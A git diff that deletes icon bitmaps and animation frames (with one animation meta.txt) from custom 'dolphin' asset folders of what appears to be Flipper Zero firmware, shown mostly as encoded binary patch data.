8af359b940e9a14587bb8ae598aeff8e53b6542a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 286 zcmZo*U|?_nVnzlb#%uNaA8<5O*ng-ku`!k4;5o#|^Znq_;{W{zl;wX&{8nT5x4|L7 z;m-p%=id#Nn*Ycj`mg?t;r@Z|{|si^i{!~gt0>JR^u|M0*4X8pte z@-PmH43zU<{sYtF!*BnvZ>zC8@B^gpzg+Y5@3#B``oC=IV+w5de*eLCI8b`#gFl5I zc76PB_{U{&aMyu~V@doza((q1rsO$4e#qW&=4^8rQbe*z^QynDYEsBnM$bw-9g zzyFIeGyM6VmCeksW9?mUHiifFTeq??TyVX*nvG#Ybm(>#h83$qR&z1jShZ?BA45*) z|0qs|D{oJ32eRY$t>a=SVVt#{i{Y7U$1X00DD{KcybP}yCq(f!WH~m}@; z!&jjr)x0Z0k1MX`eY3YUshW4yEB={Vxv$-_@TnDDYxZFBTIuapUW=+s*NRDXe$`q# zH!-DKTkp0)C8PFgJBAai+F{ZM4k&3~=Ud{yV!nzsk)u^K++Kr0&HT!{V3#J*t+)R* to-$v%?QVUO)av-{zZUD3{{FkV+xlu={M|*myZ8Uzec3GQZT|P8wgB^_eUJbE diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_happy_46x49.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_happy_46x49.bmx deleted file mode 100644 index 715815f0cad52a4138cb8ff3db6a9fa15e4a2b46..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 297 zcmdO6U|=u+Vj%dz4=4^8rQbe*z^QynDYEsBnM$bw-9g zzyFIeGyM6VmCeksW9?mUHiifFTeq??TyVX*nvG#Ybm(>#h83$qR&z1jShZ?BA45*) z|0qs|D{oJ32eRY$t>a=SVVt#{i{Y7U$1X00DD{KcybP}yCq(f!WH~m}@; z!&jjr)x0Z0k1MX`eY3YUshW4yEB={Vxv$-_@TnDDYxZFBTIuapUW=+s*NRDXe$`q# zH!-DKTkp0)C8PFgJBAai+F{ZM4k&3~=Ud{yV!nzsk)u^K++Kr0&HT!{V3#J*t+)R* to-$v%?QVUO)av-{zZUD3{{FkV+xlu={M|*myZ8Uzec3GQZT|P8wgB^_eUJbE diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_okay_46x49.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_okay_46x49.bmx deleted file mode 100644 index 715815f0cad52a4138cb8ff3db6a9fa15e4a2b46..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 297 zcmdO6U|=u+Vj%dz4=4^8rQbe*z^QynDYEsBnM$bw-9g zzyFIeGyM6VmCeksW9?mUHiifFTeq??TyVX*nvG#Ybm(>#h83$qR&z1jShZ?BA45*) z|0qs|D{oJ32eRY$t>a=SVVt#{i{Y7U$1X00DD{KcybP}yCq(f!WH~m}@; z!&jjr)x0Z0k1MX`eY3YUshW4yEB={Vxv$-_@TnDDYxZFBTIuapUW=+s*NRDXe$`q# zH!-DKTkp0)C8PFgJBAai+F{ZM4k&3~=Ud{yV!nzsk)u^K++Kr0&HT!{V3#J*t+)R* to-$v%?QVUO)av-{zZUD3{{FkV+xlu={M|*myZ8Uzec3GQZT|P8wgB^_eUJbE diff --git a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinReceive_97x61.bmx b/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinReceive_97x61.bmx deleted file mode 100644 index cb92216c4e5943d4d845c979c7d8c59df040b95b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 525 zcmV+o0`mP~0000z00001009EPKqgXeMhX*8l-OV((tye0o(wz}3$3UE&H)mMcsKYD zW|pKGAP~%=d=LH`Pt>3T3I_p^O1K~GUyG$`6BHT)5{U3WANw^bz!@%V0w)Q;`Zx7& zH6R#MF__BWx)1%zt7#Jy#sML!!*Cz@m9I(+D9i#?m5T6h`?{`x7*SXTMx|BY|LR`7 z5HO;Fk($MPTDpyhDQ~uu0SpEBCvo4 zA{iJ@Qh9)q=3)y}$ilS|iU#6|FmE7aY7v?R61fNlCZZLffk+?{h`=!-DiQ_^DhL@^ zWC92b6i9#*B3%&3;2^-oln4kiBC-G;LJABp0|rz8*#H>^d;qur8BhU_5P=4201P0^ ziLQVdA-RAO5)8IMgCZzEwt4OZ)u4rgATl=uWJ-a8YA|9zR-_Dbki{So_rU`e35bAg zp+LrvLIWcpd=N2W6+{{X7C<8qWJD+wr~}-Ajerb{8MQJ#0&szkB45M;F#v~H0Oz1J zm}Fy2!@yM~AX1zv20#WXRKBVODMSK{ra!H(pam+#1BDF&kD|X4kQB%=FlaawZ}FRj z7#LTG1PBN`45>6>f&$b74)H4oi~zP)xC$_*!@_{ZfMbe)hDyW?Ej%y=FqkkfsAp2t Pk;-Kl1{VY}U-D@H7W%wg diff --git a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSend_97x61.bmx b/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSend_97x61.bmx deleted file mode 100644 index 8932c5ed3ba499c5a9259d2d228330e5f4a5e94d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 525 zcmV+o0`mP~0000z00001009EPKqgXeMhX*8l-OV((tye0o(wz}3$3UE&H)mMcsKYD zW|pKGAP~%=d=LH`Pt>3T3I_p^O1K~GUkjyb6BHT)5{U3WAN#c`z!@%V0w)Q;`ZxA( zH6R#MF__BWx)1%zt7#Jy#sML!!*Cz@m9I(+D9i#?m5T6h`?{`x7*SXTMx|BY|LR`7 z5HO;Fk($MPTDpyhDQ~uu0SpEBCvo4 zA{iJ@Qh9)q=3)y}$ilS|iU#6|FmE7aY7v?R61fNlCZZLffk+?{h`=!-DiQ_^DhL@^ zWC92b6i9#*B3%&3;2^-oln4kiBC-G;LJABp0|rz8*#H>^d;qur8BhU_5P=4201P0^ ziLQVdA-RAO5)8IMgCZzEwt4OZ)u4rgATl=uWJ-a8YA|9zR-_Dbki{So_rU`e35bAg zp+LrvLIWcpd=N2W6+{{X7C<8qWJD+wr~}-Ajerb{8MQJ#0&szkB45M;F#v~H0Oz1J zm}Fy2!@yM~AX1zv20#WXRKBVODMSK{ra!H(pam+#1BDF&kD|X4kQB%=FlaawZ}FRj z7#LTG1PBN`45>6>f&$b74)H4oi~zP)xC$_*!@_{ZfMbe)hDyW?Ej%y=FqkkfsAp2t Pk;-Kl1{VY}U-D@H5-7Y~ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSuccess_108x57.bmx b/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSuccess_108x57.bmx deleted file mode 100644 index 3eefd86bc994996073b05eee2f627dba8b8bb9cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 502 zcmV z&sG8a-`8rskx5wK7)>Us0pP#(ZleJPjN~>tnxu#E->Y)$fYOw}IF(JzlkvaqZm59L zn!q(3O%<2%+Ur?tK+={#D4LqLCjC;k%6NwJ4USW(=8s@H*J~&=g(F0i>akI}1lB2G z29#7bHL8bJFJPO-b|BIzjS`7K#=-O%tW1C!M1j;(FcPR7!&yw2Ez*HV7Yqg=LaI~& zsicZPB~S=J3}pb+q)`E64ImJP(n$co14jWCf(_P~1R!X_pR1rP93p`O2CV>wAkqb> zY=+_ussN<{uuL&bhVa-R0*C`%KnXG~hT{Pe2H0%?W&lvRkz@%4I0nT)8g&3`(G6!V z8{X0a4S?BdfsX>z14;}HcpX8aX?KFr3IhRwgI)=cf_y4aB`d}%kV=M}r1S}a;HwN6 zph_Sw)HbgIK>`NU0#X~Lki}qD0BlSk6KD-E)SclLKKZ5N}US)0ty8g z!LX4heZasK>JQHga$BQC_!{%pQ?BqK(GqQC;$Ke diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Settings/Cry_dolph_55x52.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Settings/Cry_dolph_55x52.bmx deleted file mode 100644 index 22a76dd4daaa01bda8be01f522bf58c0a9e22e2c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 352 zcmV-m0iXUi0000q0000108|0&f4~O;{CmL10@edpx%UGcAJ`2@FYpYIKkykK|6myQ zf+Gh8mv8h2PuJ7`4+<8n3?S3C?LY9)xc~3I5AZbZzE3Z@uhZZ zPz|IH-D|$@AQ%W1@>|%TEd~Sqk?t@M3`7RqN1OqM5dr>prx*}vUuXA#(BdE+%j{qb zJV*!k?{NbU02)8(xETMR+sLGR5f1m>b_O75{_c1R1wsS7|IC4-*noew_dE>((E+}D z?)X>*aF{>2oEibnfL}lNd*lNi4Ih2i@q*UCKO5^mgT4(f{NG9cqrktL+dc#TmVtgh y_WcKc4on-}yc#iZpo2$&-=jf4AA9x#`V=qyv>Gt@C-d+B;D17bMIPUS{uB^jDyGK( diff --git a/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Fishing_123x52.bmx b/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Fishing_123x52.bmx deleted file mode 100644 index 75f57367cf539f9f075e06c983de83f6fb826cbd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 458 zcmV;*0X6=60000q000010KNgL>v~p-wblX;ingkga@+Z!VEF3Vy1h-Nsss;>WlLjT z+vSDxD$@V=`)#Pcbv>>9|7#Wx&5Nt|-|OO_wXk3SV@c)v1LO}`1~3LaECxm|c7+Gq z2m>6h2L%U~gW5raz`%6S3p+Y|APS-Q zK##A$oB+fgJ^=WG-rxfrlnVe4j0c1gI%d$oTd#n@lgCjD5;hNsL<$U^9wc}l9f%YX0SK{8!Osw=LDNGFxR2stpn?O& z4e&3=BFhB=4Gy_F7sql89~ci(C=ZJS76saX%cTJLz+kXFCR diff --git a/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Scanning_123x52.bmx b/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Scanning_123x52.bmx deleted file mode 100644 index 75f57367cf539f9f075e06c983de83f6fb826cbd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 458 zcmV;*0X6=60000q000010KNgL>v~p-wblX;ingkga@+Z!VEF3Vy1h-Nsss;>WlLjT z+vSDxD$@V=`)#Pcbv>>9|7#Wx&5Nt|-|OO_wXk3SV@c)v1LO}`1~3LaECxm|c7+Gq z2m>6h2L%U~gW5raz`%6S3p+Y|APS-Q zK##A$oB+fgJ^=WG-rxfrlnVe4j0c1gI%d$oTd#n@lgCjD5;hNsL<$U^9wc}l9f%YX0SK{8!Osw=LDNGFxR2stpn?O& z4e&3=BFhB=4Gy_F7sql89~ci(C=ZJS76saX%cTJLz+kXFCR diff --git a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Auth_62x31.bmx b/assets/resources/dolphin_custom/NSFW/Icons/U2F/Auth_62x31.bmx deleted file mode 100644 index a13ee8f9dbc1d18d7ed8bef91bf4dddd1206ac1b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 187 zcmV;s07U;j0000V000010IvZ3|NrywIsZWH1`s>_!0SKy-@)tV1Frvu2T$$)hdl?U z_k(K-uGaPkJ?;7s4@kfM9zRRp`Uf%toqtyXiUCH!0L{iAQvf;b;{j9fKxgro1V9dc zuy}#UE7kr!sHU}TX2mKSn#K7YW pf#2eP=nx!WkS_FJ`2z=^{x7_MhtfI^F?jFe;B!-yZrm3j0D!PLR=EHG diff --git a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connect_me_62x31.bmx b/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connect_me_62x31.bmx deleted file mode 100644 index 0f5f60859803a15df56c3bced313dc2d83b69467..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 188 zcmV;t07L&i0000V000010I&f4|NrywIsZWH1`s>_!0SKy-@)tV1C{U&JN_6PsDkmo z@aLd$wgboe!L@_TE<0P;eD}BLKs>Ne2*3UwKOi{X|Ij&*9P9eH6i^O%xWo!z2R*!C zs$g-S#$XWuIr_ok2QTp)LE;%HL<7AafIPdZVRB=09;1^ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connected_62x31.bmx b/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connected_62x31.bmx deleted file mode 100644 index e4c689eb69f931275747eb2909bf99765ace1138..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 210 zcmV;@04@JM0000V000010LB3Q|NrywIsZWH1`s>_!0SKy-@)tV1Frvu2T$$)hdl?U z_k(K-uGaPkJ?;7s4;}ynLs1}aj)v&Q9wE7;}9u;9AIz_ykJ;T z5A*_m8Gu9pgU0_8|3HM}KpTu-_*@?W=zsBj;jnB4A^%4~_!0SKy-@)tV1Frvu2T$$)hdl?U z_k(K-uGaPi7#w4JeuM+c4;+jC;p6g$L$8169LNqa$UT2o0*V30aRbf9AX5N1{2)7c z#1aGt9|Qt_8Gr@I9zM9l0wf$jGr)v<6eb8Gs)sl8j*#s@XScl6&=tNY&k92~!j|6}!C%F({S z=Im!~n^}Lh8}|n{qCf2YTIbN;d^{Y!$luc2+tfmT;O6p2{@$+s;u0Nyq&ubU+S+43 z;Opc1T&ewrC;o+lm+g+}cjy1GaL2*R;^lwxR{!*0y&eZI%bknDfA}9@>-@Qxxdguh zHt$7&%lhSFp*QRvm%JTsk2Vzmw?QSo;B$U?kf={G8LRhAgRRMeLZOk0*ZO`PU~tAW zGY*xyZVq0LW(g9^P&}V`@Hu-mpY+pX;Q!sljoGOGruHw-|JDv}PtX5f!E=B2vD)AP z#ix>f|Mpw>b$Pyj<-U{q@850V)#iKul=@fOKerC90~!AOL;9bN{p=jrZnvfZu;g-g zRp4^vK9Gnff+LLY|G~?N_C_Fh2_GAK{tmaJ;{kwixP9R3K|27^fI>VQ;B!Z_5HK-V zHR8sKP65mN2PXnGet`jtLErm~$U0E(#1IT!4Zr*xvG4R83}26Ub!ZUZ{*Qr+{oe;HgCGB&fs6m!4z_>( ztu6=ux*dOd0K6ane|-FK3V^VG;DP*q{h;O83ka4!;OO^3$=7KuaoHhW1k0s;3Y7vSDM*2jpjMLZBI+Z4XW{hX{Mk{Be^YK@J5q) zMh*$0wO$8l8=yrnoQmn700Rn)+GZo12Eue7;L~08>hhygRXatT! z5V%2MQ|#Y9&oc{*PGg~rLZ;cyZI~7~7?py-2L+C779>Hy$m|%5R4_(dd5!}iVzNvi zFsbB!9t$iDlR;&G(+wrSHI4(FQq1J_fU>v($AQ|K>7?1j8saoG??ro}3r+_Dp#c8y z@RePXLVLP>;p~ z1<-;%L;z7qL!HGRAvc6clAzh^h+u>z+PQZ&$1fdia9P4Fe%-@6W<@^19;PE{V0Oz>C%GhgJ z`+8s{;n_2uD_3<3AA+l6e#e32@NT8_TotcCe!)e;kJ<6k^Z%#h207tugoa(l243*s|ZbVAbYge|i#h@7nr; zp9<{WL}jZ7*6J%9UFd64^bSU=JrHKUlHPcbinq^Xl%^-b<_#RJ^*~y(=ahV36X1F# McGibf>8G#$2UW|uRR910 diff --git a/assets/resources/dolphin_custom/NSFW/Icons/iButton/iButtonDolphinVerySuccess_108x52.bmx b/assets/resources/dolphin_custom/NSFW/Icons/iButton/iButtonDolphinVerySuccess_108x52.bmx deleted file mode 100644 index 47b611a6ad2b3c2fa21cda23b155e56742d70c77..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 482 zcmV<80UiEq0000q000010M-Gj>v~p-wblX+YPPDAa@+Z!VAkr|y1h-Nsss&fWlLjT z+vSBXD$@V=`)#PD^*ycq|7#Wvy^E{&-|OP07o_t2fwBg_O97FK-Jw9&%HVKNd1y8? z&PSZtNcj%R8vpXN1@KS%E;m-hg1K<$I1_I6qPv`zWEP#9<@PK&VfJ6TPBt8N7 z2b}mHVu8S##~2Pv`0PRFf(MA~fBXONJVjy;G$_C@;PIb<$ADBJkbw*E4_kmeHvmz_ z1JdE}1d#}32gCRS%3lSt@wbD|@OcY_#AMmjCT0{Tnch_P7C?Df>;njb^X%?%ryk^1swN zsPO<719z`Vh&=Wh_;5V#72f??tJepN|G{}ghyb_EA=T^k|A2XZZ{YL4*L%Hw?{FSg z56aL%<^Rx0Mm4=;ztyVbv>hu&Qs^{ZG9EXGHFuMCU=?^iI5^geLRk5;~w z7y)o~{;GE{9#ANc|6TfV4cGf$y3=rw5P3j5xj;q&QtN(tW z^n_q5z52gb`|97IMIIp$2aqUtUa@F^2CEIgGs+>rWQ}*~P!M?P;Xw8O@AcrZehLI* Nv;cX00|VD44OB7TzJ>q* diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_1.bm deleted file mode 100644 index 738c546f7baca029bfb5fe13849f345de09fff94..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 849 zcmV-X1Frl508ImcU;u~y|KK2CV(&FMAfF3}?^?-*C4@0QK?g8>W6fmeolgHn|>Q@kXU?E^p zyaUn?4+M`O9w$Kn55xaI0t^lu4?w8+KmQ;3AfR)>dP7^K`8|*TXOJ!j`|tnvgUk32 z7!ShX@PUWKav<}*f4?w)1%lv8FNc5n4=?}s{l(qDAz;5dKRzx*dvfPuhp z7rOOVt9QSH&-XL2;2=N#=y-Kn>sRaj{Qd*RIe`7^^;K%UR{0}Xjs#Fg@uh#oj`uA6({;Ahyp!1z-|J&_WtZ+Zgj;cHlIDdWg zH{SVtsx{d7Jk&$~`2Y1l^4Ra;;PZe2N1^@dzssTDhJ(|89@r&B9zanSj|2Y)fK_1i z3b;J4^#VYF2k!@Ij0a(_2cE-HCLeaH1%ST5IvsAfJZJt3&3zIzSRMfCGYx*T@DDG} z|8=g_KyVN~1OvO=2bF{Kf4aIvz+Man|M(9W{)6-He+~E^UG4{0>F_iUgR}h)jNBex z{|2kr`4~Qfa>gC=2)G@8hu8Rs7#)J6RlDERLjm}1_aE(M0l+#30Ppp1V0ivMz3cx_ zY(es`pM)Mi?^s7kD|7-VJJP;Tl^6r<$t6lYen!b>9oLOu^l=hv%s|LgU7?c6{< zkPqjpUH<)5YW;q!L>|5Fs-$YWrKszVq7P5j?H)Sn?bhr4Vu(DBgH^u&>;3(3On*T1 zgkUv8@zr|kwSVu{4*&>=JgdF>zgPR}-=IbxfM=9LfC?SgtXd!es>4C*$r|s}pdj(p b#;5@D_yPxiuLX%vP$L}&p8y^`a$wa!6ezjS diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/frame_2.bm deleted file mode 100644 index 432ab276e84f3280d181a1d407ff95b32b46a4b8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 877 zcmV-z1Csm!0BHjNPyRoE|KH$%alk>r?g|ik&%{m-egL3B@BjbsG57z#6kuS{8;D$S zz+r&!F97s|!@=Xo!vn~cV)B8*f#t>-j03^{{{PBF1D*@WK0F8q`~U4VkN`pD{^18i z9$X9LVgc~DOatYD2c`ny|A6=`5&;6M#ZL z7ysqJ9zXe=4uB6&;uwG556C>I29XDvG}Gn(_=3g*@PmWX$t{r+%x!2ba8eij4& z{J;Nx&{YY4=y(T#{^y_X_vRAdFaHns21pJL{{aV-EFL&=DED0BzQJ(dH{p1L%OC&O z>WX7kf!qROPZ-&pyS4hS!(Xp~UjgS6@MnXf02=pRzX9uy#Bx15|K6)rzSVvH{eK5m zXb=GW^&(15CGijw_B(Pf4aX`tN-u61IuTs1dr?0{;K_dpds%6`Jc+2 zbUIyHxX6Fo?N+QFTOUx6wOa4*fB${H_siu`?w|*ORqy_RA`B52fk$J%RS$zz>*|6> zzBV7=6nY()d;{TEFOK_lyD*46wi=t<1MmhKy;QCt;RlWWq1o@i@1KAEyLGQj2t32$ z+aGa!Yqi?_U#rvyjQ_!T@4za|5#22dU#uJmJbyFz1Auqe@c{Mvy})@`KQa6PC~v2+ z*X#HHz<9^>9}{@*&4c~__iO!Mr^EjT@N{73@w@$fUb3Lty`BJg=r$?wz<>S45ibqb z`N03c{sQty4}D@O;lFDG0|3lqZ$RjlNxCW{Q5P9G`74?X~HDB$2stON2 z6+iK={SC(J{jdFD0ra2;#;SrJSL=Ve$Vb8HtaXj-emzx~!~^L7s$F`$SOa`@TDXWk zbziSih=287@BE4&^s9Y(vsebdSFYWHgdR|62k+IcP>Xna^;bZH$`OF>^?&8@-D~~Y z;LwCb9$&57)L<3cssv&91;Io(6fiL|MU-SSE~F58tq^E^^ed2<@( DAw1Nl diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/meta.txt deleted file mode 100644 index 0a08fc2a7..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/BOTTY_CALL/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 3 -Active frames: 0 -Frames order: 0 1 2 -Active cycles: 0 -Frame rate: 2 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_0.bm deleted file mode 100644 index aefb229419437fa296ef0673a5d2ff484d66c1c0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 555 zcmV+`0@VEh04Dq@{0I0yZ~*u6Zjj-PA^FOKny+- z(8GZvLkFb(Fa{r7KlKefki9SS0C?~)|D8Yo=K7&Z{q*a!RJAsMuFwn zga66{^SlGg;Rl`P|Ng(ke&!Don1jpl#Gmv3`4k|?0qcMLbYnpAsKek80C|3YATj=Q z;@*G!Mhp)UfqYbg02us1^f3@{vd`ilFaG`^^B;_U0p16_|1taj!~^0)5CHhWA^yY!T0yA{on98H{ag>`u_mm{leql*8vCr@BiEO|M}Dd z+x-O(*kuy<1^6yK&^Uz)_x|7gfAjbUc#dD|xV*dJ^PRvy!9f5xM1|s8A$b4`egYq8 zyt|&`(g>Qjfc}2TA}J9m1cdZE`~L%Y3=&EOM(&X+w1WA&zu!VaJP^?T_W!;Az6ad* z`+onih?7VNKL7XjA^g7v1jL9@2M^xg1LhIOul@%JaDTq`QGcLtAz=TC1Yi*{cXxHT z95-;6J=pwx_wWdT1`7uGckbVIn1BcM{bG*)+uh`R#Y6qyAPguw-)(mT{^Q;IV6ppu z?c%}jeee70g@4WsA8?>dBliFc>}Q-R4_e)~-|tPrG!zkfrw}@iE5H2)kN~gWz4iVB zHmGs_!;vs2U%rnTO;QD?zxwZ@u>}gqfWtz9)i}wKCkXJb@x8E=X!Zz>TmRO7tUvHa z9^Hy9ie;9(K3(`fVKO@YXU7aF7m0yJ2Duyl|M~mJ|NU|P!8l4IgZKdky;uL{fBX1< zz)~Oq;q-l9_}}yYm;d`<`v7r&r2dco-ZNnDLwEQ1KY$)x_%{yxj~j=VIEfH=?YH~$ zc*H$@-;VF`71#ajL|V0!+R4{Xm#} zo`3%r`_h2YzUl!=jNhZ%@nr3|e*I1X%-@&`y9v1e@ISqN3jcwDaRJ5J|Ihpv{vPAK z*Y7|i9ItbL;k^%Ux2fIvec;eePu-*-5r*0C^cnBg$A6Vl=s>~m{crf*m;ZygzW!_W zI0kdx;4gF^!`tCszqJpot`VRHkM+bdZpQzIHrIWB_9-S)_HZ4&-mlI7`1jx4#{cI* zgfED`KEB8Q#XsMEzx$XhL0mua2*I--{T|xu-v9Vy6TtD`@K2%e-|Nef=<;X;!Do&7 zm5K+B{(0{O4E}li0t^oQGmn4$Hz;|0d$fDte5f=C^>{uu2|&Dm|2yD(u9-RBU*Dv#Y2dFh)2|A;{-9UbZ@c7K%Us0RUa|KuR_1o+#-I4f1(fwXncS1cn9R1 UQurtP?+lpF diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_10.bm deleted file mode 100644 index fdf9bbbcf77624e5fd081f60fdddc6814824ede6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 382 zcmV-^0fGJj0D1uccmu#50PqKZJOSVj0C)qy2SBt)0EGd7gWs|6mO?RpTAV~4_m4!f z8I7gX;^6o6bf%CD=a;7{2fuUmEP!S$^*Ojb{~n-t<3GJQusz|Q2qXiE>ZwD)@u-4B zI2-;PEFT_#c<234IB-5VQA`IfeS;Ux4tW6O+^lfWd~m_zmDy;+@!YGI$B|O-!GZ7m z|3NSv0eHbd@w^X@2BYJJ1LA=c&|n}I0Q`L*5dbMz1MvueNC3(JU}(%F6?qf{9N+?y zNGiHW5I&3Ja0byRc+eVvKKvLc55OOC1yGCd05}PVKVTOSe^-sKRj2Fd+l$ z2?qg;LOu_a0D%gAFQEBABk=%y!9ay8F^~bM@VvIjEbQGphbz}1b{{;6u1Nv_y7N4;T#B`0CGq1zd%0`QYif* zya^uyk~I_I-ZGYmZ59VWsBk2ZSU^0tpN((pKkcdTX~OXb90KwB+JCeD`JV%^z^9AG zL@pWU@7=x6^XhYy+utxzC=Pr7vz!|Q0JF$8f>nV3$>kvCz+W|f%KroZqa~rZ$K!p^ z;=lTEd%&-syJr8t|M9{w3Bpx~{J;0@|3ByFgvbMh7>O6l_k5rC{(d-MxoD9YCMIEX z&g8WaVED-a!xVrm#|bFP0q~pP zf$0I5MyZqosQ?ENLJy|GKS-d-GzD_VK*8j{9fU?%K!!*dg@mEOi6sEML?e_4B!eg~ zAo+j?`4E**Hjrp+C>}Hj41)oXfJ!3%s?>^Uk+MJ_*p3Brf$V_8Bm62Anu7%7z_Apn zL}P*Jh{YrLDhC2(mFZR_dWu9dfxLi2BiMTm8ZVTxO7PQwc<`$+2qb%pMbSwrotYFO zkx7H`BasNSasy6@L?Tye#vT#LiSaX&3Uqo4e1S;1AFG8fRl$@uNIp1QKFW!R{{DT^ z?Y(gxQ7ESlfmVZdzW<+op1utoL;^Pwwc4;4EM|%l96modoqe8Q z0^ELoAo2b9qO9BI)i1i)x< dARzJ}q4I`CI2IzZg$5P`DCAQCF$cRap#UH+izEO5 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_12.bm deleted file mode 100644 index 39f9d33aec2d634bd0eaa7f3bcd62445919dcba2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-gUuYav6vn@M_s-1S-O1+8cE?U?YiE;H^QXmZ0)iHFXS->4#F_>h6^gKlt@vn! z3ZVvXmYChdNH)9bCJ%{|H4mvlB9u}oNMc)>loZkyOF<|k&p!6S7XQRqUk>N+ecW^S zopT{IShIixQVjw0Lh7(^@57Fje^=q43NXJ0M8*$s6bK@S`KibJK;Q->L$t2f>j0{n zuQvgIKl~>E^x$>MH7Vdxf%kwQhMy_2^(KT$370B3gzq(7-4VFEx3~9xD~=+-nO-t6 zLV^1)Vim#Y7?X!Foh>W;Rh&eHsr7zs(RjIb1fvKDHIiz==<@H&ZvykgjpkX+kVwS) zVbf!znutWAF`KyklOY=q=rN%x&6Z8pei-RnN0?qP#&u%-JerQm1&^4RPUx&f*u<+v zcL!((8x2iG`m7y-(r*VmYO)*p7~8c(oeCD&EC0{$h@!-@30r%Y4pCioVx9xD-Jg!o zXECOCTVy~kEg{Z!$qdug<1s_pb1@+`kp2gJZ(Hl;iJX3%-5J%o@! z3M{J*8WWp*^Nn#RZKPM#8}s7yGGyx zv#PE&3!dVDgwjFw`R~6iV1uGKi2Xj#O|46WT7BLnkF^n3{Y-BZK2?CniAgH#HKvKs zM@66*S0_kV{ajCqOYS!elQrd@?=KgATCnWmC&+^g)F<9f5+Gt$|2ruyC?FMpcB2lG-*?f z52vfW#)6&Q{4~N5+i$I9lv}l`%oQKKbE}4zL}SW*YiM?^@8c`;bTMECd#`_cv#Z48 zr=MQQE++oqm7DC2G3z2uVxAx zgVAfmcKj1plYA(>wJ~JLIzJYtPx;pIN~SCrf&U34Z3|Y;kvp(BS!qroPJ=v<3!g|? zMe=0z$96jqd<+lJ+l3@Kskf&R~(PXpXXgQ@tkx#k@AKsOBsjN+;L83p3foexLtlz3`Y>3bb5u6>QpRwMQQfuQ)Au{SAK!Pr z@B9t~fr{a!;OHBdK(Hu1!N9NwaB-&u3cs5^2^$sN#Xi8g@tk`?;P(n*si!uPHfy@#9da)Xo`>hW+SX1<0dN%v8zsTQ{XthET#XeA<%Engi`9vl&J57D_n zqe@j6{~Vn&uuJ;}-nQW{m%o>BPe@+*FjBC=K77#D9$65SVDG7f4Rs|xYHmt(50U-N zWR0^&NVdbO%VVt6ohn4tvO8-4rmt5{H568_vjq)V9im~(msg0(*MZqI4AzIeP@=$R zElmtO8!))-?O|r&{CpW!<~?HgY^lfREpWx*)zML=_f%fswMiWv!cnU@c}YR?kYdh^Q;^qfR^xGA$eDS z%3+#&Vcsv@#5Zb+23Rp-yS$-{5uK$9?T+PkLUf&ULig>_7FG-$>kT$SDr%2S9Z7cU z@uUE;Y?qUfKWmS68+>$Yb?FZGeC#%FVTv+p7?fX{*z=kxJmw!@{PZ)HK(1( z`}GE8gywnv#KXkJ!LNeO{uf=VMwlPSw{yeJgQd!HcW6~i@@q5JZx=fTgZ%SMDB0i3 